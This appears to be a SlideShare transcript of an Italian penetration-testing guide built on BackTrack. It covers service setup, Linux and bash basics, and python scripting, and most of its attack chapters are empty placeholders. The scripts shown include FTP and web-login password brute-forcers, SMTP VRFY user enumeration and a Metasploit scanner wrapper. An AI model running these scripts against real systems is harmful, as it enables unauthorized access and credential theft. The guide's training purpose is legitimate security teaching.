SlideShare ist ein Scribd-Unternehmen logo
1 von 46
LUIGI CAPUZZELLO

Sicurezza Informatica
Black Box Penetration test
Versione: 2.0

Luigi Capuzzello
17/11/2013

http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a
http://www.slideshare.net/luigicapuzzello
@FisherKasparov
luigi.capuzzello

Il documento si propone di analizzare in dettaglio le fasi di un penetration test (information gathering,
ricerca exploit, client side attack, password cracking, backdoor).
La distribuzione GNU/Linux utilizzata come piattaforma di base per eseguire i penetration test è BackTrack.
Appendice D: crack WEP/WPA protocol con BackTrack.2

Sommario
Backtrack Basic....................................................................................................................................4
Services.............................................................................................................................................4
Linux: alcuni comandi utili..............................................................................................................7
Basic: mount device / network share............................................................................................7
Installare  aggiornare un programma...........................................................................................7
Elenco comandi comuni...............................................................................................................7
Bash Environment..........................................................................................................................11
Variabili......................................................................................................................................11
Passaggio di parametri................................................................................................................11
User Input...................................................................................................................................11
Bash Trap Command..................................................................................................................11
Array...........................................................................................................................................12
Leggere un file e metterlo in un Array.......................................................................................12
if statement.................................................................................................................................12
For statement..............................................................................................................................12
Arithmetic Comparison..............................................................................................................13
String Comparison......................................................................................................................13
Bash File Testing........................................................................................................................13
Funzioni......................................................................................................................................14
Alcuni esempi di comandi interessanti.......................................................................................14
python environment........................................................................................................................18
Rendersi invisibili...............................................................................................................................21
iptables............................................................................................................................................21
TORtunnel: installazione................................................................................................................21
TORtunnel: nmap...........................................................................................................................22
TORtunnel: hydra...........................................................................................................................22
TORtunnel: sqlmap........................................................................................................................22
TORtunnel: firefox.........................................................................................................................22
scansione porte...............................................................................................................................22
Information Gathering........................................................................................................................23
Service Information Gathering...........................................................................................................24
Nmap..............................................................................................................................................24
FTP (21)..........................................................................................................................................24
DNS (53)........................................................................................................................................24
SNMP (161)....................................................................................................................................24
SMTP (25)......................................................................................................................................24
SMB (139 - 445).............................................................................................................................24
HTTP (80) (scanning delle reti)....................................................................................................25
Verifica iniziale..........................................................................................................................25
XSS: Cross Site Scripting...........................................................................................................26
XSRF: Cross Site Reference Forgery.........................................................................................27
Path Traversal Attack.................................................................................................................27
SQL Injection.............................................................................................................................28
SQL Injection: sqlmap:...............................................................................................................28
SQL Injection: MySQL..............................................................................................................28
SQL Injection: Access................................................................................................................28
Exploit: ricerca vulnerabilità note......................................................................................................29
Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.3

Exploit: eseguire.................................................................................................................................29
Nessus e Metasploit........................................................................................................................29
Metasploit autopwn........................................................................................................................29
Metasploit.......................................................................................................................................29
Meterpreter.................................................................................................................................29
da siti web.......................................................................................................................................29
Client side Attack...............................................................................................................................30
aurora / autoPWN (payload)...........................................................................................................30
!!!! iniettare trojan in eseguibile.....................................................................................................30
smb_relay (payload).......................................................................................................................30
smb sniff password.........................................................................................................................31
Password Cracking.............................................................................................................................32
Online password.............................................................................................................................32
John come dizionario..................................................................................................................32
Offline password............................................................................................................................33
Cosa fare dopo che ho una shell.........................................................................................................34
subito ….........................................................................................................................................34
con Tftp (no in vista e 7)................................................................................................................34
con Ftp............................................................................................................................................34
DEBUG.exe (no 7).........................................................................................................................35
Vb script.........................................................................................................................................35
Internet Explorer.............................................................................................................................35
wget................................................................................................................................................35
Shell su macchina non routable: ssh tunneling...............................................................................36
Pulire le tracce lasciate.......................................................................................................................37
Network Fun (pwb3.doc)...................................................................................................................38
Netcat..............................................................................................................................................38
Port redirection: rinetd....................................................................................................................38
Encapsulation - stunnel...................................................................................................................39
HTTP CONNECT Tunneling.........................................................................................................40
ProxyTunnel...................................................................................................................................40
SSH Tunneling...............................................................................................................................41
Chiave pubblica e privata...............................................................................................................41
SSH: configurare con chiave pubblica e privata............................................................................42
Appendice A: Service exploit.............................................................................................................43
Appendice B: siti utili.........................................................................................................................44
Appendice C: IRC command.............................................................................................................45
Appendice D: crack WEP/WPA protocol con BackTrack.................................................................46

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.4

Backtrack Basic.
La distrubuzione BackTrack consente di attivare e disattivare facilmente tutti i principali servizi e le applicazioni server
che servono per realizzare un penetration test.

Services
ENTRARE IN RETE
Per farlo è necessario settare un indirizzo IP valido
root@bt:~# ifconfig eth0 192.168.0.4/24
root@bt:~# route add default gw 192.168.0.1
root@bt:~# route add -net 192.168.1.0 netmask 255.255.255.0 eth0
Definire il server DNS:
root@bt:~# echo nameserver 192.168.0.1 > /etc/resolv.conf
Eventualmente collegarsi ad un access Point wireless:
root@bt:~# iwconfig eth1 essid sygest key 123451234512341234ABCDABCD channel 11

DHCP:
Se esiste un server DHCP valido allora è sufficiente:
root@bt:~# dhclient eth0

APACHE
root@bt:~# /etc/init.d/apache2 start
root@bt:~# /etc/init.d/apache2 stop

SERVER FTP
Attivo il database del server pureFTP
# pure-pw mkdb
# ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB
# nano /etc/pure-ftpd/conf/PAMAuthentication
Cmbiare ‘yes’ in ‘mp’
E’ ora necessario abilitare il file pdb; per farlo è necessario fermare il server per evitare errori facendo partire servizi
su porte che sono già I uso.
# /etc/init.d/pure-ftpd stop
# /usr/sbin/pure-ftpd -j -lpuredb:/etc/pure-ftpd/pureftpd.pdb &
# /etc/init.d/pure-ftpd start
# chmod 777 /ftphome/
creo un nuovo utente ftp:
1. utente hacker
2. appartenente al gruppo ftpuser
3. con home directory /ftphome/
#pure-pw useradd hacker –u ftpuser –d /ftphome/
Inserisco l’utente creato nel database con
#pure-pwd mkdb
Faccio partire il server FTP
#/etc/init.d/pure-ftpd restart

SAMBA CLIENT
#smbclient macchina_remotacartella – U <utente definito sulla macchina (non di dominio)>
Get: per scaricare i file
Put: per uplodare i file

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.5

SAMBA SERVER
Configuro /etc/samba/smb.conf in modo da condividere una cartella
[global]
workgroup = <gruppo definito sulla macchina>
server string = foo
security = user
load printers = yes
log file = /var/log/samba.%m
max log file = 50
socket option = TCP_NODELAY
[home]
comment = Home Directory
path = /home/luigi/
valid users = sambausr luigi
writable = yes
L'esempio illustrato sopra consente agli utenti sambausr e luigi di leggere e scrivere nella directory
/home/luigi, sul server Samba da un client Samba.
-

Faccio partire samba server
# service smb restart

SSH SERVER
root@bt:~# sshd-generate
(la prima volta)
root@bt:~# /etc/init.d/ssh start
SSH CLIENT

Supponiamo di voler fare un collegamento da ‘mypc’ alla macchina ‘work’ passando dal gateway ‘gate’ (su cui gira
sshd).
Da mypc eseguo:
mypc# ssh –p 10022 –l root –L 7777:work:25 gate cat
Apro una connessione ssh
con utente root su ‘gate’ (porta 10022) ed eseguo il commando cat (che mi consente di tenere la sessione aperta).
–L : ridirigo tutto ciò che mando alla porta 7777 di mypc sulla porta 25 di work.
Attivando il comando mi verrà chiesta la password di root su ‘gate’.
Una volta creato il tunnel lo posso usare da ‘mypc’ con comandi come:
mypc# telnet 127.0.0.1 7777 (mi collega alla porta 25 di work)

TFTPD
Lo faccio partire su una determinate cartella e porta
root@bt:~# atftpd --daemon --port 69 /tmp
Per prelevare file faccio:
#tftp -i <IP remoto> GET <file>

VNC SERVER

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.6

Parte sulla porta 5901 e ha bisogno di una password per poter essere acceduto
root@bt:~# vncserver

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.7

Linux: alcuni comandi utili.

Segue un elenco di alcuni dei comandi linux che vengono utilizzati più di frequente.
L’elenco è molto sintetico; esula dalla seguente trattazione la definizione dettagliata dei concetti di base che sottendo
l’utilizzo dei comandi.

Basic: mount device / network share
#fdisk –l (visualizzo tutti i dispositivi che il kernel vede)
#mount /dev/hda1 /mnt/hda1
#ls -l /mnt/hda1

Installare  aggiornare un programma.
Con codice sorgente:
tar zxvf program.tar.gz
cd to the new program folder
./configure
make
su root
make install
make clean
make distclean
pacchetto rpm
rpm -i /doveeilfile/nome.rpm
rpm -U /doveeilfile/nome.rpm
rpm -e /doveeilfile/nome.rpm

#per installare il pacchetto
#per fare un update del pacchetto
#per disinstallare un pacchetto

pacchetto .deb
dpkg -i ./percorso/nomepacchetto.deb
dpkg -r ./percorso/nomepacchetto.deb
yum e apt-get
apt-get update
yum update

#per installare un pacchetto
#per rimuovere un pacchetto

#aggiornamento del repository (elenco sorgenti /etc/apt/sources.list)
il file per configurare apt-get è in /etc/apt/source.list
#aggiornamento del repository

apt-cache search squirrelmail
yum search squirrelmail

#Ricerca all'interno del database dei pacchetti
# Ricerca all'interno del database dei pacchetti

yum install tcpdump
apt-get install tcpdump

#Installare un pacchetto
#Installare un pacchetto

yum remove tcpdump
apt-get remove tcpdump

#rimuove un pacchetto
#rimuove un pacchetto

svn: sistema di controllo versione Subversion
per estrarre una cartella dal repository (co sta per check out)
mv programming programming-bk
svn co file:///home/mysurface/repo/programming_repo programming
per estrarre un file dal repository
svn export file:///home/mysurface/repo/programming_repo/c/curses/matrix.cc

Elenco comandi comuni.
alias elenco ‘ls –la’

-il comando ‘elenco’ corrisponde a ‘ls –la.

Per copiare parti di memoria e salvarle su file è necessario utilizzare il comando dd..

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.8

Ad esempio se voglio salvare il MBR devo utilizzare il comando:
#dd if=/dev/hda of=mbrwindow count=1 bs=512
Per ripristinare il MBR danneggiato devo
#dd if= mbrwindow of=/dev/hda count=1 bs=512
Per testare le dimensioni di una cartella posso fare:
#du -ah --max-depth=1 /
Per visualizzare le prime righe di un file:
#head –n <nr righe> file
Librerie dinamiche (.so): ldd - ldconfig
Le librerie associate ad un programma possono essere:
•
Statiche (.sa):
•
Dinamiche (.so):
Posso verificare quali librerie non sono caricate all’interno del programma con ldd
#ldd /path/<programma>
Se il mio programma non viene eseguito a causa di collegamenti alle librerie esterne, per risolvere il problema posso
fare in vari modi
•
#ldconfig
•
metto il path della libreria che il programma non trova in ‘/etc/ld.so.conf’ ed eseguo ancora ldconfig
•
metto il path della libreria nella variabile d’ambiente ‘LD_LIBRARY_PATH’
setenv LD_LIBRARY_PATH /Path/alla/mia/library/

Moduli (.ko): modprobe
Per visualizzare tutti i moduli che ho a disposizione:
#modprobe -l
Se non trovo il modulo che mi serve allora devo ricompilare il kernel!
Per caricare un modulo e le sue dipendenze utilizzo il comando modprobe.
Ad esempio se cerco le dipendenze del modulo zd1211
# modprobe zd1211
Per caricare tutti i moduli:
# modprobe -a
Per scaricare un modulo basta (tornando al caso precedente):
# modprobe –r zd1211

rm –r <cartella>
Mi consente di cancellare una cartella e tutte le sottocartelle.
tail –f <nome file>
Visualizza le ultime linee di un file. Con l'opzione "-f" visualizza le ultime righe.
uname
Restituisce informazioni relative a:
# uname –r
la versione del kernel in uso
# uname –p
il tipo di processore in uso
# uname –a
tutte le informazioni
basename - dirname
#basename /usr/idrogeno/ossigeno
#ossigeno
#dirname /usr/idrogeno/ossigeno
#/usr/idrogeno
find /etc –name hosts.* –print
Ricerca file di qualsiasi tipo nel filesystem.
#groupadd mioGruppo

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.9

Per creare un nuovo gruppo basta
#useradd mioUtente –c Commento –d /mia Home –g mio Gruppo
Creo l’utente ‘mioUtente’ con un commento descrittivo ‘Commento’ con la home in ‘MiaHome’ e appartenente al
gruppo ‘Gruppo’
Per dare una password all’utente farò:
#passwd mioUtente suaPassword
Per cancellare gli utenti e i gruppi uso
#groupdel
#userdel
namei
Scompone un path nei suoi elementi e li analizza uno per uno identificandoli come:
•
f: il pathname che si sta analizzando;
•
d directory;
•
l link simbolico;
•
s socket;
•
b block device (dispositivo a blocchi);
•
c character device (dispositivo a caratteri);
•
- file normale;
•
? errore.
Esempi
$ namei /usr/bin/X11
Genera il seguente risultato:
f: /usr/bin/X11
d/
d usr
d bin
l X11 -> ../X11R6/bin
d ..
d X11R6
d bin
[tar – gzip – zip].
#tar –cvf MiaCartella.tar MiaCartella
#tar –xvf MiaCartella.tar
gzip NomeFile
gunzip NomeFile.gz

 ottengo NomeFile.gz
 ottengo NomeFile

zip NomeFile
unzip NomeFile.zip

 ottengo NomeFile.zip
 ottengo NomeFile

grep
#grep Parola /etc/ -r

-cerca ‘Parola’ all’interno di tutti i file di /etc e in tutte le sottocartelle (-r)

Cut - awk
#echo “oggi:dopo:la messa:vado a casa” | cut –d : -f 3 preleva ‘la messa’
cut -d ' ' -f2,3 filename
è equivalente a
awk -F'[ ]' '{ print $2, $3 }' filename
il vantaggio è che posso invertire l’ordine degli addendi :
awk -F'[ ]' '{ print $3, $2 }' filename

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.10

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.11

Bash Environment

La definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed intuitivi esempi.

Variabili
#!/bin/bash
STRING="HELLO WORLD!!!"
echo $STRING

Passaggio di parametri
#!/bin/bash
# use predefined variables to access passed arguments
#echo arguments to the shell
echo $1 $2 $3 ' -> echo $1 $2 $3'
# We can also store arguments from bash command line in special array
args=("$@")
#echo arguments to the shell
echo ${args[0]} ${args[1]} ${args[2]} ' -> args=("$@"); echo ${args[0]} ${args[1]} ${args[2]}'
#use $@ to print out all arguments at once
echo $@ ' -> echo $@'
# use $# variable to print out
# number of arguments passed to the bash script
echo Number of arguments passed: $# ' -> echo Number of arguments passed: $#'

User Input
#!/bin/bash
echo -e "Hi, please type the word: c "
read word
echo "The word you entered is: $word"
echo -e "Can you please enter two words? "
read word1 word2
echo "Here is your input: "$word1" "$word2""
echo -e "How do you feel about bash scripting? "
# read command now stores a reply into the default build-in variable $REPLY
read
echo "You said $REPLY, I'm glad to hear that! "
echo -e "What are your favorite colours ? "
# -a makes read command to read into an array
read -a colours
echo "My favorite colours are also ${colours[0]}, ${colours[1]} and ${colours[2]}:-)"

Bash Trap Command
#!/bin/bash
# bash trap command
trap bashtrap INT
# bash clear screen command
clear;
# bash trap function is executed when CTRL-C is pressed:
# bash prints message => Executing bash trap subrutine !
bashtrap()
{
echo "CTRL+C Detected !...executing bash trap !"
}
# for loop from 1/10 to 10/10
for a in `seq 1 10`; do
echo "$a/10 to Exit."
sleep 1;
done
echo "Exit Bash Trap Example!!!"

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.12

Array
se myHost vale www.target.com
allora splitto e carico in un array
myHost=$1
hostPart=$(echo $myHost | tr "." "n")
for x in ${hostPart[@]}
do
echo $x
done

Leggere un file e metterlo in un Array
#!/bin/bash
# Declare array
declare -a ARRAY
# Link filedescriptor 10 with stdin
exec 10<&0
# stdin replaced with a file supplied as a first argument
exec < $1
let count=0
while read LINE; do
ARRAY[$count]=$LINE
((count++))
done
echo Number of elements: ${#ARRAY[@]}
# echo array's content
echo ${ARRAY[@]}
# restore stdin from filedescriptor 10
# and close filedescriptor 10
exec 0<&10 10<&-

if statement
#!/bin/bash
directory="./BashScripting"
# bash check if directory exists
if [ -d $directory ]; then
echo "Directory exists"
else
echo "Directory does not exists"
fi

For statement
#!/bin/bash
for (( c=1; c<=5; c++ ))
do
echo "Welcome $c times"
done

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.13

Arithmetic Comparison
#!/bin/bash
# declare integers
NUM1=2
NUM2=2
if [ $NUM1 -eq $NUM2 ]; then
echo "Both Values are equal"
else
echo "Values are NOT equal"
fi
-lt

<

-gt

>

-le

<=

-ge

>=

-eq

==

-ne

!=

String Comparison
#!/bin/bash
#Declare string S1
S1="Bash"
#Declare string S2
S2="Scripting"
if [ $S1 = $S2 ]; then
echo "Both Strings are equal"
else
echo "Strings are NOT equal"
fi

==

Equal

!=

not equal

<

less then

>

greater then

-n s1

string s1 is not empty

-z s1

string s1 is empty

Bash File Testing
-b filename
-c filename
-d directoryname
-e filename
-f filename
-G filename
-g filename
-k filename
-L filename
-O filename
-r filename
-S filename
-s filename
-u filename
-w filename
-x filename

Block special file
Special character file
Check for directory existence
Check for file existence
Check for regular file existence not a directory
Check if file exists and is owned by effective group ID.
true if file exists and is set-group-id.
Sticky bit
Symbolic link
True if file exists and is owned by the effective user id.
Check if file is a readable
Check if file is socket
Check if file is nonzero size
Check if file set-ser-id bit is set
Check if file is writable
Check if file is executable

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.14

Funzioni
!/bin/bash
# BASH FUNCTIONS CAN BE DECLARED IN ANY ORDER
function function_B {
echo Function B.
}
function function_A {
echo $1
}
function function_D {
echo Function D.
}
function function_C {
echo $1
}
# FUNCTION CALLS
# Pass parameter to function A
function_A "Function A."
function_B
# Pass parameter to function C
function_C "Function C."
function_D

Alcuni esempi di comandi interessanti
Elaboro contenuto pagina web
#!/bin/bash
wget http://www.offsec.com/pwbonline/icq.html -O icq.txt -o /dev/null
grep 'href=' icq.txt | cut -d"/" -f3 |grep icq.com |sort -u > icq-srv.txt

ricavo dal file gli IP (ciclo for)
#!/bin/bash
for hostname in $(cat icq-srv.txt);do
host $hostname
done

chiedo dati all’utente
#!/bin/bash
echo "Please enter Class C IP network range:"
echo "eg: 194.29.32"
read range
for ip in `seq 1 254`;do
host $range.$ip |grep "name pointer" |cut -d" " -f1,5 #prendo il campo 1 e 5
done

Prendo dati all’avvio della shell
#/bin/bash
# Simple Zone Transfer Bash Script
# $1 is the first argument given after the bash script
# Check if argument was given, if not, print usage
if [ -z "$1" ]; then
echo "[*] Simple Zone transfer script"
echo "[*] Usage : $0 <domain name> "
echo "[*] Example : $0 aeoi.org.ir "

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.15

exit 0
fi

funzioni e if statement (multisploit.sh)
#!/bin/bash
# execute auxiliary script about metasploit
# the ini file are obtained from a 'search ftp' and a 'seach smb' on metasploit
msfconsole
function myinstr(){
#si="ciao mamma come stai"
#st="mammasss"
si="$1"
st="$2"
sf=${si##*$st}
#echo ${#sf}
#echo ${#si}
if [ ${#sf} == ${#si} ]; then
#echo ">>>>>>>>> stringa NON trovata"
return 0
else
#echo ">>>>>>>>> stringa trovata"
return 1
fi
}

if [ -z "$5" ]; then
echo "[*] Execute multi auxiliary scanner on metasploit"
echo "[*] Usage : $0 <Target IP> <Target Port (Nr | x)> <Target SO (linux | windows)>
<auxiliary scanner for (ssh | ftp | smtp | tftp | http | pop3 | smb | snmp | mysql |
mssql | oracle | vnc | custom)> <Threads Number>"
echo ""
echo "[*] Example : $0 192.168.11.145 x linux smb 5"
echo ""
exit 0
fi
echo
echo
echo
echo
echo
echo
echo

""
"============================="
"="
"= TARGET $1:$2"
"= protocol: $4"
"="
"============================="

#echo "so do you want to test $1:$2"
#echo "SO: $3"
#echo "Protocol: $4"
for aux in $(cat "multisploit_$4.ini" | cut -d" " -f4);do
if [ "$2" == "x" ]; then
#No specified port I take the default port
mycommand="$aux RHOST=$1 RHOSTS=$1 THREADS=$5 E"
else
mycommand="$aux RHOST=$1 RHOSTS=$1 RPORT=$2 THREADS=$5 E"
fi
#if SO is linux then I skip all auxiliaries that contain dos or windows
if [ "$3" == "linux" ]; then
skip="0"

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.16

myinstr "$aux" "windows"
return_val=$?
if [ "$return_val" == "1" ]; then
skip="1"
else
myinstr "$aux" "dos"
return_val=$?
if [ "$return_val" == "1" ]; then
skip="1"
fi
fi
if [ "$skip" == "1" ]; then
echo "skiping ...$aux"
mycommand=""
fi
fi

#if SO is windows then I skip all auxiliaries that contain linux
if [ "$3" == "windows" ]; then
skip="0"
myinstr "$aux" "linux"
return_val=$?
if [ "$return_val" == "1" ]; then
skip="1"
fi
if [ "$skip" == "1" ]; then
echo "skiping ...$aux"
mycommand=""
fi
fi
#salto tutti i fuzzer
skip="0"
myinstr "$aux" "fuzzer"
return_val=$?
if [ "$return_val" == "1" ]; then
skip="1"
fi
if [ "$skip" == "1" ]; then
echo "skiping ...$aux"
mycommand=""
fi
if [ "$mycommand" != "" ]; then
echo ""
echo "executing ... $aux"
/pentest/exploits/framework3/msfcli $mycommand
fi
done

Esempio di utilizzo di curl (user:password)
Dizionario: ftp://ftp.openwall.com/
#!/ bin/ bash
# PAINSEC web login fuzzer used in "How Strong is your Fu?
if [ $# -ne 1 ]
then
echo " Usage : `basename $0 ` <dictionary >"
exit -1

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.17

fi
# We loop all over the dictionary
for i in `cat $1 `
do
# We know the user is admin ...
curl -u admin :$i http :// www1 .noob - filter .com/ dotDefender > tmp 2> / dev / null
# " Required " is our blind keyword
if grep Required tmp > /dev / null ; then
echo " Not $i ... "
else
# Good news :)
echo " Found ! $i"
exit
fi
done
rm tmp

Esempio di curl (loop sulle cartelle)
Dizionario: ftp://ftp.openwall.com/
#!/ bin/sh
# PAINSEC , Web fuzzer developed for How Strong is Your Fu?
# Check syntax
if [ $# -ne 2 ]
then
echo " Usage : `basename $0 ` <dictionary > <output file >"
exit -1
fi
echo -n "" > temp . txt
# Loop over all dictionary
for i in `cat $1 `
do
# Get the page , dump the header to " header . txt "
curl -D header .txt http :// localhost :8080/ $i > / dev/ null 2> / dev / null
# Write header status to screen and file
echo -n -e "$ittt"
cat header . txt | head -n 1
echo -n -e "$itt" >> temp . txt
cat header . txt | head -n 1 >> temp . txt
done
# Finished , remove temporal files and save no -404 results in output file
rm header . txt
cat temp . txt | grep -v 404 > $2
rm temp . txt

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.18

python environment

Anche in questo caso la definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed
intuitivi esempi.

Connessione alla porta 25 e verifico se funziona il commando VRFY
-

socket

#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 2:
print "Usage: vrfy.py <username>"
sys.exit(0)
# Create a Socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect=s.connect(('192.168.0.10',25))
# Recieve the banner
banner=s.recv(1024)
print banner
# VRFY a user
s.send('VRFY ' + sys.argv[1] + 'rn')
result=s.recv(1024)
print result
# Close the socket
s.close()

Questo script controlla se un elenco di IP (presi da file di testo) rilascia le email di un elenco di nomi (presi da
file di testo):
-

Socket

-

Prelevare dati da input

-

Lettura da file

-

array

#!/usr/bin/python
import socket
import sys
import fileinput
import array
if len(sys.argv) != 3:
print "Usage: smtp_vrfy.py <server_list.txt> <name_list.txt>"
sys.exit(0)
arrip=[]
arrnomi=[]
arrris=[]
# Connect to the Server prelevato da file
for ipsrv in fileinput.input(sys.argv[1]):
arrip.append(ipsrv)
#Controllo ogni nome possibile
for nome in fileinput.input(sys.argv[2]):
arrnomi.append(nome)
for elnome in arrnomi:
for elip in arrip:
print elnome + " " + elip

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.19

# Create a Socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#print ipsrv
connect=s.connect((elip,25))
## Recieve the banner
banner=s.recv(1024)
print banner
## VRFY a user
#s.send('VRFY ' + sys.argv[1] + 'rn')
s.send('HELO test@thinc.localrn')
result=s.recv(1024)
s.send('VRFY '+ elnome + 'rn')
result=s.recv(1024)
if result.find('250')>=0:
#ho trovato qualche cosa
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
arrris.append(result)
print result
## Close the socket
s.close()
print ""
print ""
print "================="

print "AT THE END"
print "these are the results"
for elris in arrris:
print elris

Questo script fa brute force su FTP
-

definizione delle funzioni

-

lettura da file

#!/usr/bin/python
import socket
import re
import sys
def connect(username,password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*] Trying " + username + ":" + password
s.connect(('192.168.0.112',21))
data = s.recv(1024)
s.send('USER ' + username + 'rn')
data = s.recv(1024)
s.send('PASS ' + password + 'rn')
data = s.recv(3) #prendo I primi 3 caratteri e basta!!!
s.send('QUITrn')
s.close()
return data
username = "ftp"
f=open(‘pass.txt’)
lines=f.readlines()
f.close()
for line in lines:
attempt=connect(username,line)
if attempt == "230":
print "[*] Password found: "+ password
sys.exit(0)

questo script crea una funzione xor:
-

creare e usare funzioni

#!/usr/bin/python

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.20

#coded by sinn3r
import socket, sys
## XOR routine
def xorme(data):
input = data
output = ""
for char in input:
tmp = char.encode("hex")
key = "x04".encode("hex")
int_byte = int(tmp, 16)
int_key = int(key, 16)
xor = int_byte ^ int_key
output += chr(xor)
return output
buffer = sys.argv[1]
buffer = buffer + "rnrn"
xor_buffer = xorme(buffer)

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.21

Rendersi invisibili.
Effettuare un penetration test di tipo black box può richiedere la necessità di nascondere il proprio indirizzo IP nella
fase di analisi della rete. Questa operazione non sempre è necessaria e rallenta molto la fase di raccolta delle
informazioni. Nel caso venga richiesta, è comunque la prima attività che deve essere svolta.
….
….

iptables

Per garantire che il target non riceva pacchetti con il mio IP, posso decidere di bloccare tutti i miei pacchetti in uscita
che vanno verso il target:
#iptables -A OUTPUT --dest <target> -j DROP

….
….

TORtunnel: installazione
Tortunnel è più veloce di TOR perché usa solo un nodo della rete TOR ed esce con quel nodo (quello selezionato con
tortunnel –r)
…
….

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.22

TORtunnel: nmap
…
…

TORtunnel: hydra
…
…

TORtunnel: sqlmap
…
…

TORtunnel: firefox
…
…

scansione porte

…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.23

Information Gathering.
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.24

Service Information Gathering
…
…

Nmap

…
…

FTP (21)

…
…

DNS (53).

…
…

SNMP (161)
…
…

SMTP (25)
…
…

SMB (139 - 445)
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.25

HTTP (80) (scanning delle reti)

…
…

Verifica iniziale
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.26

XSS: Cross Site Scripting.
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.27

XSRF: Cross Site Reference Forgery.
…
…

Path Traversal Attack.
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.28

SQL Injection.
…
…

SQL Injection: sqlmap:
…
…

In manuale
…
…

SQL Injection: MySQL
…
…

SQL Injection: Access
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.29

Exploit: ricerca vulnerabilità note
…
…

Exploit: eseguire
…
…

Nessus e Metasploit
…
…

Metasploit autopwn

…
…

Metasploit

…
…

Meterpreter
…
…

da siti web
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.30

Client side Attack
…
…

aurora / autoPWN (payload)
…
…

!!!! iniettare trojan in eseguibile
…
…

smb_relay (payload)
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.31

smb sniff password

…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.32

Password Cracking
Online password
…
…

John come dizionario
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.33

Offline password
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.34

Cosa fare dopo che ho una shell.
Una volta che ho una shell su una macchina per espandere l’attacco devo:

subito …
…
…

con Tftp (no in vista e 7)
…
…

con Ftp.
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.35

DEBUG.exe (no 7)
…
…

Vb script
…
…

Internet Explorer
…
…

wget
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.36

…
…

Shell su macchina non routable: ssh tunneling.

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.37

Pulire le tracce lasciate.
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.38

Network Fun (pwb3.doc)
Di seguito vengono riportati alcuni esempi di come utilizzare I programmi di rete più comuni per muoversi attraverso
alcuni scenari tipci.

Netcat
…
…

Port redirection: rinetd

…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.39

Encapsulation - stunnel
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.40

HTTP CONNECT Tunneling

…
…

ProxyTunnel
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.41

SSH Tunneling
…
…

Chiave pubblica e privata

…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.42

…
…

SSH: configurare con chiave pubblica e privata

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.43

Appendice A: Service exploit
…
…

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.44

Appendice B: siti utili.
Exploit:
1. http://www.exploit-db.com/
2. http://inj3ct0r.com/
3. http://www.securityfocus.com/ (inurl:bid)
Dizionari on line:

1.

ftp://ftp.openwall.com/

Crack password:
http://cracker.offensive-security.com/ (priority code: 1337123456)
http://md5.rednoize.com/
http://ziogeek.com/i-migliori-14-siti-per-decriptare-le-password-in-md5/
Default Password:
http://www.phenoelit-us.org/dpl/dpl.html

Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.45

Appendice C: IRC command.
Basic IRC (Mibbit) Commands
IRC Help Commands
/HELPOP
/HELPOP
/HELPOP
/HELPOP
/HELPOP
/HELPOP
/HELPOP
/HELPOP

SNOMASKS - To get the list of snomasks
OPERCMDS - To get the list of IRC operator commands
SVSCMDS - To get the list of U-Lined servers commands (services)
USERCMDS - To get the list of user commands
UMODES - To get the list of user modes
CHMODES - To get the list of channel modes
CHMODEF - Channel flood protection
